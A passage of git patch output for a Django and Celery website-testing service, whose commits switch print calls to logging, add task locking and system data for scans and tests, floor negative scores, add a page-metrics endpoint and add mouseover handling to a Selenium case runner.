     if len(tests) > 0:
         # calc site average of latest_test.score
         site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
-        print(f'updating site with new test score -> {site_avg_test_score}')
+        logger.info(f'updating site with new test score -> {site_avg_test_score}')
         
     # update site info
     if latest_test:
@@ -734,36 +791,48 @@ def scan_page_bg(
     
     # run each scan component in parallel
     if 'html' in scan.type or 'logs' in scan.type or 'full' in scan.type:
-        run_html_and_logs_bg.delay(
-            scan_id=scan.id, 
-            test_id=test_id, 
-            alert_id=alert_id,
-            flowrun_id=flowrun_id,
-            node_index=node_index,
+        run_html_and_logs_bg.apply_async(
+            kwargs={
+                'scan_id'   : scan_id,
+                'test_id'   : test_id,
+                'alert_id'  : alert_id,
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+            },
+            task_id=f'lock:html_and_logs_bg_{scan_id}'
         )
     if 'lighthouse' in scan.type or 'full' in scan.type:
-        run_lighthouse_bg.delay(
-            scan_id=scan.id, 
-            test_id=test_id, 
-            alert_id=alert_id,
-            flowrun_id=flowrun_id,
-            node_index=node_index,
+        run_lighthouse_bg.apply_async(
+             kwargs={
+                'scan_id'   : scan_id,
+                'test_id'   : test_id,
+                'alert_id'  : alert_id,
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+            },
+            task_id=f'lock:lighthouse_bg_{scan_id}'
         )
     if 'yellowlab' in scan.type or 'full' in scan.type:
-        run_yellowlab_bg.delay(
-            scan_id=scan.id, 
-            test_id=test_id, 
-            alert_id=alert_id,
-            flowrun_id=flowrun_id,
-            node_index=node_index,
+        run_yellowlab_bg.apply_async(
+             kwargs={
+                'scan_id'   : scan_id,
+                'test_id'   : test_id,
+                'alert_id'  : alert_id,
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+            },
+            task_id=f'lock:yellowlab_bg_{scan_id}'
         )
     if 'vrt' in scan.type or 'full' in scan.type:
-        run_vrt_bg.delay(
-            scan_id=scan.id, 
-            test_id=test_id, 
-            alert_id=alert_id,
-            flowrun_id=flowrun_id,
-            node_index=node_index,
+        run_vrt_bg.apply_async(
+            kwargs={
+                'scan_id'   : scan_id,
+                'test_id'   : test_id,
+                'alert_id'  : alert_id,
+                'flowrun_id': flowrun_id,
+                'node_index': node_index,
+            },
+            task_id=f'lock:vrt_bg_{scan_id}'
         )
 
     logger.info('started scan component tasks')
@@ -816,7 +885,7 @@ def create_scan(
     # run scan and alert if necessary
     scan = S(scan=created_scan).build_scan()
     if alert_id and alert_id != 'None':
-        print('running alert from `task.create_scan`')
+        logger.info('running alert from `task.create_scan`')
         Alerter(alert_id=alert_id, object_id=scan.id).run_alert()
     
     logger.info('Created new scan of site')
@@ -895,7 +964,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                             Page.objects.get(id=item['id'])
                         )
                     except Exception as e:
-                        print(e)
+                        logger.warning(e)
                 
                 # adding to sites
                 if item['type'] == 'site':
@@ -904,7 +973,7 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                             Site.objects.get(id=item['id'])
                         ) 
                     except Exception as e:
-                        print(e)
+                        logger.warning(e)
         
         # grabbing all sites because no 
         # resources were specified and scope is "account"
@@ -921,30 +990,18 @@ def create_scan_bg(self, *args, **kwargs) -> None:
             # check resource 
             if check_and_increment_resource(page.account.id, 'scans'):
 
-                # create system data for new Scan
-                scan_system = {
-                    "tasks": [
-                        {
-                            "kwargs": {},
-                            "task_id": None,
-                            "attempts": 0,
-                            "component": t,
-                            "task_method": "run_html_and_logs_bg" if t == 'html' else f"run_{t}_bg"
-                        }
-                        for t in type if t != 'logs'
-                    ]
-                }
-
                 # create Scan obj
                 scan = Scan.objects.create(
                     site=page.site,
                     page=page,
                     type=type,
                     tags=tags,
-                    configs=configs,
-                    system=scan_system
+                    configs=configs
                 )
 
+                # update scan with system data
+                add_scan_system_data(scan=scan)
+
                 # updating latest_scan info for page
                 page.info['latest_scan']['id'] = str(scan.id)
                 page.info['latest_scan']['time_created'] = str(datetime.now(timezone.utc))
@@ -1055,7 +1112,7 @@ def run_html_and_logs_bg(
 
         # return early if max_attempts reached
         if max_reached:
-            print('max attempts reach for html & logs component')
+            logger.info('max attempts reach for html & logs component')
             return None
         
         # run html and logs component
@@ -1129,7 +1186,7 @@ def run_vrt_bg(
 
         # return early if max_attempts reached
         if max_reached:
-            print('max attempts reach for vrt component')
+            logger.info('max attempts reach for vrt component')
             return None
 
         # run VRT component
@@ -1203,7 +1260,7 @@ def run_lighthouse_bg(
 
         # return early if max_attempts reached
         if max_reached:
-            print('max attempts reach for lighthouse component')
+            logger.info('max attempts reach for lighthouse component')
             return None
 
         # run lighthouse component
@@ -1277,7 +1334,7 @@ def run_yellowlab_bg(
 
         # return early if max_attempts reached
         if max_reached:
-            print('max attempts reach for yellowlab component')
+            logger.info('max attempts reach for yellowlab component')
             return None
 
         # run yellowlab component
@@ -1347,7 +1404,7 @@ def run_test(
 
         # return early if max_attempts reached
         if max_reached:
-            print('max attempts reach for Tester')
+            logger.info('max attempts reach for Tester')
             return None
 
         # get test 
@@ -1371,7 +1428,7 @@ def run_test(
             })
 
         # execute test
-        print('\n---------------\nStarting Test...\n---------------\n')
+        logger.info('\n---------------\nStarting Test...\n---------------\n')
         test = T(test=test).run_test()
 
         # update FlowRun if passed
@@ -1389,7 +1446,7 @@ def run_test(
 
         # execute Alert if passed
         if alert_id and alert_id != 'None':
-            print('running alert from `task.run_test`')
+            logger.info('running alert from `task.run_test`')
             Alerter(alert_id=alert_id, object_id=str(test.id)).run_alert()
 
     logger.info('Test completed')
@@ -1461,23 +1518,11 @@ def create_test(
     })
 
     # create system data for new Scan & Test (may not be used)
-    scan_system = {
-        "tasks": [
-            {
-                "kwargs": {},
-                "task_id": None,
-                "attempts": 0,
-                "component": t,
-                "task_method": "run_html_and_logs_bg" if t == 'html' else f"run_{t}_bg"
-            }
-            for t in type if t != 'logs'
-        ]
-    }
     test_system = {
         "tasks": [
             {
                 "kwargs": {}, 
-                "task_id": None, 
+                "task_id": f"lock:run_test_{created_test.id}", 
                 "attempts": 0, 
                 "component": "test", 
                 "task_method": "run_test"
@@ -1501,10 +1546,14 @@ def create_test(
                     page=page,
                     tags=tags, 
                     type=type,
-                    configs=configs,
-                    system=scan_system
+                    configs=configs
                 )
-                scan_page_bg.delay(
+
+                # update scan with system data
+                add_scan_system_data(scan=new_scan)
+
+                # init Scan process
+                scan_page_bg(
                     scan_id=new_scan.id,
                 )
 
@@ -1565,12 +1614,14 @@ def create_test(
             page=page,
             tags=tags, 
             type=type,
-            configs=configs,
-            system=scan_system
+            configs=configs
         )
 
+        # update scan with system data
+        add_scan_system_data(scan=post_scan)
+
         # run Scan & Test tasks 
-        scan_page_bg.delay(
+        scan_page_bg(
             scan_id=post_scan.id, 
             test_id=created_test.id,
             alert_id=alert_id,
@@ -1591,16 +1642,16 @@ def create_test(
             })
         
     # updating parired scans
-    pre_scan.paired_scan = post_scan
-    post_scan.paried_scan = pre_scan
+    pre_scan.paired_scan    = post_scan
+    post_scan.paried_scan   = pre_scan
     pre_scan.save()
     post_scan.save()
 
     # updating test object
-    created_test.type = type
-    created_test.pre_scan = pre_scan
-    created_test.post_scan = post_scan
-    created_test.system = test_system
+    created_test.type       = type
+    created_test.pre_scan   = pre_scan
+    created_test.post_scan  = post_scan
+    created_test.system     = test_system
     created_test.save()
 
     # check if pre and post scan are complete and start test if True
@@ -1700,7 +1751,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
                                 Page.objects.get(id=item['id'])
                             ) 
                         except Exception as e:
-                            print(e)
+                            logger.info(e)
                     
                     # adding to sites
                     if item['type'] == 'site':
@@ -1709,7 +1760,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
                                 Site.objects.get(id=item['id'])
                             ) 
                         except Exception as e:
-                            print(e)
+                            logger.info(e)
             
             # grabbing all sites because no 
             # resources were specified and scope is "account"
@@ -1749,7 +1800,7 @@ def create_test_bg(self, *args, **kwargs) -> None:
                     page.site.save()
 
                     # create test
-                    create_test.delay(
+                    create_test(
                         page_id=str(page.id),
                         type=type,
                         configs=configs,
@@ -1928,7 +1979,7 @@ def create_report_bg(*args, **kwargs) -> None:
         if account_id:
             account = Account.objects.get(id=account_id)
 
-        print(f'passed resources => {resources}')
+        logger.info(f'passed resources => {resources}')
             
         # iterating through resources 
         # and adding to sites or pages
@@ -1942,7 +1993,7 @@ def create_report_bg(*args, **kwargs) -> None:
                             Page.objects.get(id=item['id'])
                         ) 
                     except Exception as e:
-                        print(e)
+                        logger.warning(e)
                 
                 # adding to sites
                 if item['type'] == 'site':
@@ -1951,7 +2002,7 @@ def create_report_bg(*args, **kwargs) -> None:
                             Site.objects.get(id=item['id'])
                         ) 
                     except Exception as e:
-                        print(e)
+                        logger.warning(e)
         
         # grabbing all sites because no 
         # resources were specified and scope is "account"
@@ -2234,7 +2285,7 @@ def create_caserun_bg(*args, **kwargs) -> None:
                             Site.objects.get(id=item['id'])
                         )
                     except Exception as e:
-                        print(e)
+                        logger.warning(e)
             
             # add all sites in account if scope == 'account'
             if scope == 'account' and len(resources) == 0:
@@ -2365,7 +2416,7 @@ def create_flowrun_bg(*args, **kwargs) -> None:
                         Site.objects.get(id=item['id'])
                     )
                 except Exception as e:
-                    print(e)
+                    logger.info(e)
         
         # add all sites in account if scope == 'account'
         if scope == 'account' and len(resources) == 0:
@@ -2492,7 +2543,7 @@ def create_issue(
             success = True
             
         except Exception as e:
-            print(e)
+            logger.info(e)
             # build messge
             message = f'❌ generation failed - unable to create issue for {object_id}'
             success = False
@@ -2876,7 +2927,7 @@ def reset_usage(account):
         account.meta = account.meta or {}
         account.meta['last_usage_reset'] = today.isoformat()
         account.save()
-        print(f'Reset usage for account: {account.name}')
+        logger.info(f'Reset usage for account: {account.name}')
 
     for account in accounts:
 
@@ -2905,7 +2956,7 @@ def reset_usage(account):
                 if (today - sub_reset_date).days >= 30 or today.date() == sub_reset_date.date():
                     needs_reset = True
             except stripe.error.StripeError as e:
-                print(f"Stripe error for account {account.id}: {e}")
+                logger.info(f"Stripe error for account {account.id}: {e}")
 
         # reset free account
         elif account.type == 'free':
@@ -3023,7 +3074,7 @@ def update_sub_price(account_id: str=None, sites_allowed: int=None) -> None:
     account.usage['flowruns_allowed'] = (sites_allowed * 10)
     account.save()
 
-    print(f'new price -> {price_amount}')
+    logger.info(f'new price -> {price_amount}')
     
     # return 
     return None
@@ -3166,7 +3217,7 @@ def create_prospect(user_email: str=None) -> None:
     """
 
     if settings.MODE == 'selfhost':
-        print('not running because of selfhost mode')
+        logger.info('not running because of selfhost mode')
         return None
 
     # get user by id
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index c4dde086..1b7378b9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1572,9 +1572,12 @@ def create_scan(request: object=None, **kwargs) -> object:
             page=p,
             tags=tags, 
             type=types,
-            configs=configs,
+            configs=configs
         )
 
+        # adding system data
+        add_scan_system_data(scan=created_scan)
+
         # adding scan to array
         created_scans.append(str(created_scan.id))
         message = 'Scans are being created in the background'
@@ -1599,13 +1602,20 @@ def create_scan(request: object=None, **kwargs) -> object:
 
         # running scans components in parallel 
         if 'html' in types or 'logs' in types or 'full' in types:
-            run_html_and_logs_bg.delay(scan_id=created_scan.id)
+            task_id = f'lock:html_and_logs_bg_{created_scan.id}'
+            run_html_and_logs_bg.apply_async(kwargs={'scan_id':str(created_scan.id)}, task_id=task_id)
+        
         if 'lighthouse' in types or 'full' in types:
-            run_lighthouse_bg.delay(scan_id=created_scan.id)
+            task_id = f'lock:lighthouse_bg_{created_scan.id}'
+            run_lighthouse_bg.apply_async(kwargs={'scan_id':str(created_scan.id)}, task_id=task_id)
+        
         if 'yellowlab' in types or 'full' in types:
-            run_yellowlab_bg.delay(scan_id=created_scan.id)
+            task_id = f'lock:yellowlab_bg_{created_scan.id}'
+            run_yellowlab_bg.apply_async(kwargs={'scan_id':str(created_scan.id)}, task_id=task_id)
+        
         if 'vrt' in types or 'full' in types:
-            run_vrt_bg.delay(scan_id=created_scan.id)
+            task_id = f'lock:vrt_bg_{created_scan.id}'
+            run_vrt_bg.apply_async(kwargs={'scan_id':str(created_scan.id)}, task_id=task_id)
     
     # returning dynaminc response
     data = {

From 95b5c985cb9105f4fd6c2d752eb6a67b07fa26ca Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 21 May 2025 10:47:21 -0600
Subject: [PATCH 0953/1099] updated: increased system data expousre

---
 app/api/tasks.py           | 53 +++++++++++++++++++++++++++++++-------
 app/api/v1/ops/services.py | 10 ++++++-
 2 files changed, 53 insertions(+), 10 deletions(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 76ab01ef..db9acc3c 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -57,7 +57,7 @@ class BaseTaskWithRetry(Task):
 
 # setting locking manager to prevent duplicate tasks
 @contextmanager
-def task_lock(lock_name, timeout=10000):
+def task_lock(lock_name, timeout=21600):
     lock = redis_client.lock(lock_name, timeout=timeout)
     acquired = lock.acquire(blocking=False)
     logger.info(f"Lock {'acquired' if acquired else 'not acquired'} for {lock_name}")
@@ -195,7 +195,7 @@ def update_schedule(task_id: str=None) -> None:
 
 
 
-def add_scan_system_data(scan: object=None) -> dict:
+def add_scan_system_data(scan: object=None, kwargs: dict={}) -> dict:
     """
     Helper function to build system for passed `Scan`.
 
@@ -210,7 +210,7 @@ def add_scan_system_data(scan: object=None) -> dict:
     system = {
         "tasks": [
             {
-                "kwargs": {},
+                "kwargs": kwargs,
                 "task_id": f"lock:html_and_logs_bg_{scan.id}" if t == 'html' else f"lock:{t}_bg_{scan.id}",
                 "attempts": 0,
                 "component": t,
@@ -270,6 +270,7 @@ def redeliver_failed_tasks() -> None:
     # get uncompleted Scans & Tests
     scans = Scan.objects.filter(time_completed=None)
     tests = Test.objects.filter(time_completed=None).exclude(post_scan__time_completed=None)
+    types = ['html_and_logs_bg', 'lighthouse_bg', 'yellowlab_bg', 'vrt_bg']
 
     # inspect Celery workers
     i = celery.app.control.inspect()
@@ -390,6 +391,10 @@ def redeliver_failed_tasks() -> None:
             # check if task is "pending" (has task_id in queue)
             if task_id in all_tasks:
                 pending_tasks += 1
+
+            # check for post_scan related task_ids in all_tasks
+            elif any(f'lock:{t}_{test.post_scan.id}' in all_tasks for t in types):
+                pending_tasks += 1
             
             # check for max attempts
             elif task.get('attempts', 0) < settings.MAX_ATTEMPTS:
@@ -803,7 +808,7 @@ def scan_page_bg(
         )
     if 'lighthouse' in scan.type or 'full' in scan.type:
         run_lighthouse_bg.apply_async(
-             kwargs={
+            kwargs={
                 'scan_id'   : scan_id,
                 'test_id'   : test_id,
                 'alert_id'  : alert_id,
@@ -814,7 +819,7 @@ def scan_page_bg(
         )
     if 'yellowlab' in scan.type or 'full' in scan.type:
         run_yellowlab_bg.apply_async(
-             kwargs={
+            kwargs={
                 'scan_id'   : scan_id,
                 'test_id'   : test_id,
                 'alert_id'  : alert_id,
@@ -1000,7 +1005,15 @@ def create_scan_bg(self, *args, **kwargs) -> None:
                 )
 
                 # update scan with system data
-                add_scan_system_data(scan=scan)
+                add_scan_system_data(
+                    scan=scan,
+                    kwargs={
+                        'scan_id': str(scan.id),
+                        'alert_id': alert_id,
+                        'flowrun_id': flowrun_id,
+                        'node_index': node_index
+                    }
+                )
 
                 # updating latest_scan info for page
                 page.info['latest_scan']['id'] = str(scan.id)
@@ -1521,7 +1534,12 @@ def create_test(
     test_system = {
         "tasks": [
             {
-                "kwargs": {}, 
+                "kwargs": {
+                    "test_id": str(created_test.id), 
+                    "alert_id": alert_id, 
+                    "flowrun_id": flowrun_id, 
+                    "node_index": node_index
+                }, 
                 "task_id": f"lock:run_test_{created_test.id}", 
                 "attempts": 0, 
                 "component": "test", 
@@ -1550,7 +1568,15 @@ def create_test(
                 )
 
                 # update scan with system data
-                add_scan_system_data(scan=new_scan)
+                add_scan_system_data(
+                    scan=new_scan,
+                    kwargs={
+                        'scan_id': str(new_scan.id),
+                        'alert_id': None,
+                        'flowrun_id': None,
+                        'node_index': None
+                    }
+                )
 
                 # init Scan process
                 scan_page_bg(
@@ -1618,7 +1644,16 @@ def create_test(
         )
 
         # update scan with system data
-        add_scan_system_data(scan=post_scan)
+        add_scan_system_data(
+            scan=post_scan,
+            kwargs={
+                'scan_id': str(post_scan.id),
+                'test_id': str(created_test.id),
+                'alert_id': alert_id,
+                'flowrun_id': flowrun_id,
+                'node_index': node_index
+            }
+        )
 
         # run Scan & Test tasks 
         scan_page_bg(
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 1b7378b9..d504887a 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1576,7 +1576,15 @@ def create_scan(request: object=None, **kwargs) -> object:
         )
 
         # adding system data
-        add_scan_system_data(scan=created_scan)
+        add_scan_system_data(
+            scan=created_scan,
+            kwargs={
+                'scan_id': str(created_scan.id),
+                'alert_id': None,
+                'flowrun_id': None,
+                'node_index': None
+            }
+        )
 
         # adding scan to array
         created_scans.append(str(created_scan.id))

From 0255e61f92400dc2b0c9f8fc3188fa3b1a62d258 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Thu, 22 May 2025 09:51:14 -0600
Subject: [PATCH 0954/1099] update: reduced `task_lock` timeout to 300s

---
 app/api/tasks.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index db9acc3c..67439806 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -57,7 +57,7 @@ class BaseTaskWithRetry(Task):
 
 # setting locking manager to prevent duplicate tasks
 @contextmanager
-def task_lock(lock_name, timeout=21600):
+def task_lock(lock_name, timeout=300):
     lock = redis_client.lock(lock_name, timeout=timeout)
     acquired = lock.acquire(blocking=False)
     logger.info(f"Lock {'acquired' if acquired else 'not acquired'} for {lock_name}")

From ea487effb12f0ad894a3f6227c4fc2bf80dff02f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 May 2025 08:43:02 -0600
Subject: [PATCH 0955/1099] fix: added system data to `create_test` service

---
 app/api/v1/ops/services.py | 22 ++++++++++++++++++++++
 1 file changed, 22 insertions(+)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index d504887a..48af79cf 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2342,6 +2342,28 @@ def create_test(request: object=None, **kwargs) -> object:
         # update usage and meter resource
         check_and_increment_resource(account.id, 'tests')
 
+        # creating test system data
+        test_system = {
+            "tasks": [
+                {
+                    "kwargs": {
+                        "test_id": str(test.id), 
+                        "alert_id": None, 
+                        "flowrun_id": None, 
+                        "node_index": None
+                    }, 
+                    "task_id": f"lock:run_test_{test.id}", 
+                    "attempts": 0, 
+                    "component": "test", 
+                    "task_method": "run_test"
+                }
+            ]
+        }
+
+        # update test
+        test.system = test_system
+        test.save()
+
         # running test in background
         create_test_bg.delay(
             test_id=test.id,

From 9bbe3473f8528e869824a454837f6399facd590c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 May 2025 08:43:20 -0600
Subject: [PATCH 0956/1099] update: increased test visibility in admin

---
 app/api/admin.py | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/app/api/admin.py b/app/api/admin.py
index 9dd8a7cf..c208e7df 100644
--- a/app/api/admin.py
+++ b/app/api/admin.py
@@ -118,7 +118,7 @@ def delete_pages(self, request, queryset):
 
 @admin.register(Test)
 class TestAdmin(admin.ModelAdmin):
-    list_display = ('id', 'page', 'time_created', 'time_completed', 'type')
+    list_display = ('id', 'page', 'time_created', 'time_completed', 'status', 'score')
     search_fields = ('page__page_url',)
     actions = ['delete_tests',]
 

From 1c9b00a36fdf32089ec0775a594134d10fbeba2a Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 27 May 2025 09:39:52 -0600
Subject: [PATCH 0957/1099] update: added new status for 'incomplete' tests

---
 app/api/tasks.py | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index 67439806..d89b1872 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -402,9 +402,10 @@ def redeliver_failed_tasks() -> None:
                 call_local_task_by_name(task["task_method"], task["kwargs"], task_id)
                 retried_tasks += 1
         
-        # mark test complete if checks pass
+        # mark test incomplete if checks pass
         if retried_tasks == 0 and pending_tasks == 0:
             test.time_completed = datetime.now()
+            test.status         = 'incomplete'
             test.save()
 
     return None

From 8edd3839590cb68c875efc4f2b789f78962cb1a9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Jun 2025 21:26:38 +0100
Subject: [PATCH 0958/1099] fix: added scoreing floor to several ratios

---
 app/api/utils/tester.py | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index 2330a00a..5ef5378d 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -152,7 +152,7 @@ def compare_html(self) -> float:
         ).ratio()
 
         # return score
-        return html_raw_score
+        return html_raw_score if html_raw_score >= 0 else 0
 
 
 
@@ -170,7 +170,7 @@ def compare_logs(self) -> float:
         ).ratio()
 
         # return score
-        return logs_raw_score
+        return logs_raw_score if logs_raw_score >= 0 else 0
 
 
 
@@ -212,7 +212,7 @@ def delta_html(self) -> dict:
             "num_html_delta": num_html_delta,
             "delta_html_post": self.delta_html_post,
             "delta_html_pre": self.delta_html_pre,
-            "num_html_ratio": num_html_ratio,
+            "num_html_ratio": num_html_ratio if num_html_ratio >= 0 else 0,
             "pre_micro_delta": pre_micro_delta,
             "post_micro_delta": post_micro_delta,
         }
@@ -271,7 +271,7 @@ def html_micro_diff_score(self, post_delta_parsed_diff: list) -> float:
         diff_score = diff_length / len(pre_delta_parsed_diff)
 
         # return score
-        return diff_score
+        return diff_score if diff_score >= 0 else 0
 
     
 
@@ -330,7 +330,7 @@ def delta_logs(self) -> dict:
             "num_logs_delta": num_logs_delta,
             "delta_logs_post": delta_logs_post,
             "delta_logs_pre": delta_logs_pre,
-            "num_logs_ratio": num_logs_ratio,
+            "num_logs_ratio": num_logs_ratio if num_logs_ratio >= 0 else 0
         }
 
         # returning data

From 5e5d9f46b3b5e5ce5598bb59c2f408303d7e5b73 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Wed, 11 Jun 2025 21:27:41 +0100
Subject: [PATCH 0959/1099] feature: added dynamic date ranges for `Scan` and
 `Test` scores for page metrics

---
 app/api/v1/ops/services.py | 76 +++++++++++++++++++++++++++++++++++++-
 app/api/v1/ops/urls.py     |  1 +
 app/api/v1/ops/views.py    | 11 ++++++
 3 files changed, 86 insertions(+), 2 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 48af79cf..e4c580d1 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -2,6 +2,7 @@
 from django_celery_beat.models import CrontabSchedule, PeriodicTask
 from django.db.models import Q
 from django.http import HttpResponse
+from django.utils import timezone
 from rest_framework.pagination import LimitOffsetPagination
 from rest_framework.response import Response
 from rest_framework import status
@@ -16,7 +17,7 @@
 from ...utils.reporter import Reporter as R
 from ...utils.devices import devices
 from ...utils.issuer import Issuer
-from datetime import datetime, timedelta, timezone as timezone
+from datetime import datetime, timedelta, timezone as tz
 import json, boto3, asyncio, os, requests, uuid, secrets
 
 
@@ -6714,7 +6715,6 @@ def create_or_update_secret(request: object=None) -> object:
     member = Member.objects.get(user=user)
     account = member.account
     
-
     # checking account and resource 
     check_data = check_permissions_and_usage(
         member=member, resource='secret', 
@@ -7594,6 +7594,78 @@ def get_site_metrics(request: object=None) -> object:
 
 
 
+def get_page_metrics(request: object=None) -> object:
+    """ 
+    Builds `Scan` and `Test` metrics for 
+    "Page" view on Cursion.client
+
+    Expects: {
+        'request' : object
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user, account, member 
+    user    = request.user
+    member  = Member.objects.get(user=user)
+    account = member.account
+
+    # request data
+    page_id  = request.query_params.get('page_id')
+    weeks    = request.query_params.get('weeks')
+    
+    # checking account and resource 
+    check_data = check_permissions_and_usage(
+        member=member, resource='page', 
+        action='get', id=page_id, id_type='page'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error']}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get datetime, x-weeks ago
+    timeago = timezone.now() - timedelta(weeks=int(weeks))
+
+    # get scans
+    scans_raw = (
+        Scan.objects.filter(page_id=page_id, time_completed__gte=timeago)
+        .exclude(score=None)
+        .order_by('-time_created')
+    )
+    scans = [
+        {
+            'id'            : str(s.id), 
+            'score'         : s.score, 
+            'time_created'  : s.time_created
+        } 
+        for s in scans_raw
+    ]   
+
+    # get tests
+    tests_raw = (
+        Test.objects.filter(page_id=page_id, time_completed__gte=timeago)
+        .exclude(status='incomplete')
+        .exclude(post_scan=None)
+        .order_by('-time_created')
+    )
+    tests = [
+        {
+            'id'            : str(t.id), 
+            'score'         : t.score, 
+            'health'        : t.post_scan.score,
+            'time_created'  : t.time_created
+        } 
+        for t in tests_raw
+    ]
+
+    # return respose
+    return Response({'scans': scans, 'tests': tests}, status.HTTP_200_OK)
+    
+
+
+
 def get_celery_metrics(request: object=None) -> object:
     """ 
     Builds metrics for current Celery task load.
diff --git a/app/api/v1/ops/urls.py b/app/api/v1/ops/urls.py
index c3e3ce8e..4ccd6f06 100644
--- a/app/api/v1/ops/urls.py
+++ b/app/api/v1/ops/urls.py
@@ -72,6 +72,7 @@
     path('device', views.Device.as_view(), name='device'),
     path('metrics/home', views.HomeMetrics.as_view(), name='home-metrics'),
     path('metrics/site', views.SiteMetrics.as_view(), name='site-metrics'),
+    path('metrics/page', views.PageMetrics.as_view(), name='page-metrics'),
     path('metrics/celery', views.CeleryMetrics.as_view(), name='celery-metrics'),
     path('beta/wordpress/migrate', views.WordPressMigrateSite.as_view(), name='migrate-site'),
     path('beta/site/screenshot', views.SiteScreenshot.as_view(), name='site-screenshot'), 
diff --git a/app/api/v1/ops/views.py b/app/api/v1/ops/views.py
index ef6ad596..ca488bee 100644
--- a/app/api/v1/ops/views.py
+++ b/app/api/v1/ops/views.py
@@ -994,6 +994,17 @@ def get(self, request):
 
 
 
+class PageMetrics(APIView):
+    permission_classes = (IsAuthenticated,)
+    http_method_names = ['get',]
+
+    def get(self, request):
+        response = get_page_metrics(request)
+        return response
+
+
+
+
 class CeleryMetrics(APIView):
     authentication_classes = []
     permission_classes = (AllowAny,)

From 59663a2e8399e68ddad6bbbb4b60e72ee7ce888c Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Jun 2025 17:31:27 +0200
Subject: [PATCH 0960/1099] update: added `task_id` recording during
 `Caser.pre_run()`

---
 app/api/tasks.py | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/app/api/tasks.py b/app/api/tasks.py
index d89b1872..ba47a9b1 100644
--- a/app/api/tasks.py
+++ b/app/api/tasks.py
@@ -2169,6 +2169,11 @@ def case_pre_run_bg(
     case = Case.objects.get(id=case_id)
     process = Process.objects.get(id=process_id)
 
+    # get current task and save to process
+    task_id = str(self.request.id)
+    process.info = {'task_id': task_id}
+    process.save()
+
     # init Caser
     C = Caser(
         case=case,

From b553bbf4a36ab771b4c9dd8f8f4958a188cb50b9 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 16 Jun 2025 17:38:37 +0200
Subject: [PATCH 0961/1099] feature: added `mouseover` event handling

---
 app/api/utils/caser.py | 120 ++++++++++++++++++++++++++++++++++++-----
 1 file changed, 108 insertions(+), 12 deletions(-)

diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index babaf0e9..2e0af810 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -2,6 +2,7 @@
 from cryptography.fernet import Fernet
 from selenium.webdriver.common.by import By
 from selenium.webdriver.common.keys import Keys
+from selenium.webdriver.common.action_chains import ActionChains
 from .driver import driver_init, driver_wait, quit_driver
 from .issuer import Issuer
 from .updater import update_flowrun
@@ -30,7 +31,7 @@ class Caser():
     }
 
     - Use `Caser.run()` to run Case as CaseRun
-    - Use `Caser.pre_run()` to run gather element info for a new Case 
+    - Use `Caser.pre_run()` to gather element info for a new Case 
 
     Returns -> None
     """
@@ -68,6 +69,9 @@ def __init__(
             device=self.configs.get('device')
         )
 
+        # init actions
+        self.actions = ActionChains(self.driver)
+
         # Selenium Keys reference
         self.s_keys = {
             '+':            Keys.ADD,
@@ -518,13 +522,6 @@ def run(self) -> None:
                 }]
             })
         
-        # initate driver
-        self.driver = driver_init(
-            browser=self.configs.get('browser', 'chrome'),
-            window_size=self.configs['window_size'], 
-            device=self.configs['device']
-        )
-
         # setting implict wait_time for driver
         self.driver.implicitly_wait(self.configs['max_wait_time'])
 
@@ -582,7 +579,7 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot(run_type='run')
                     exception = self.format_exception(e)
-                    msg = excaption
+                    msg = exception
                     status = 'failed'
 
                     # update flowrun
@@ -659,7 +656,73 @@ def run(self) -> None:
                 # exit early if configs.end_on_fail == True
                 if self.caserun.configs.get('end_on_fail', True) and status == 'failed':
                     break
-        
+
+            
+            if step['action']['type'] == 'mouseover':
+                exception = None
+                status = 'passed'
+                self.update_caserun(
+                    index=i, type='action', 
